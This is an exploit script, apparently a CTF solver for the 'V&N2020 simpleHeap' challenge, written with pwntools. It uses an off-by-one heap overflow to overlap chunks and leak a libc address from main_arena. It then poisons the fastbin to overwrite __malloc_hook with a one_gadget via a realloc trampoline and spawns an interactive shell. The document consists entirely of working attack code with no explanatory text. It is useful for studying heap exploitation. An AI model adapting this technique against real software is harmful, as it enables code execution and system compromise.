V&N2020 simpleHeap

# coding:utf-8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./vn_pwn_simpleHeap')


def add(size, content):
    p.sendlineafter("choice: ", '1')
    p.sendlineafter("size?", str(size))
    p.sendlineafter("content:", content)


def edit(idx, content):
    p.sendlineafter("choice: ", '2')
    p.sendlineafter("idx?", str(idx))
    p.sendlineafter("content:", content)


def show(idx):
    p.sendlineafter("choice: ", '3')
    p.sendlineafter("idx?", str(idx))


def delete(idx):
    p.sendlineafter("choice: ", '4')
    p.sendlineafter("idx?", str(idx))
add(24, '0000')
add(96, '1111')
add(96, '2222')
add(16, '3333')
edit(0, "A" * 0x18 + '\xe1')
delete(1)
# gdb.attach(p)
# gdb.attach(p)
add(96, '1111')
# gdb.attach(p)
show(2)
# gdb.attach(p)
main_arena_addr = u64(p.recvline()[:-1].ljust(8, '\x00')) - 88
print(hex(main_arena_addr))
libc_base = main_arena_addr - 0x3C4B20
malloc_hook = libc_base + 0x3c4b10
realloc_addr = libc_base + 0x846C0
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
add(96, '4422')
log.success("add(96, '4422')")
delete(4)
# gdb.attach(p)
edit(2, p64(malloc_hook - 0x23) + '\n')
add(96, '4242')
# gdb.attach(p)
payload = "A" * (0x13 - 0x8) + p64(libc_base +
                                   libc_one_gadget[1]) + p64(realloc_addr + 0xd) + '\n'
add(96, payload)
log.success(hex(libc_base + libc_one_gadget[1]))
# gdb.attach(p)
p.sendlineafter("choice: ", '1')
p.sendlineafter("size?", '10')
p.interactive()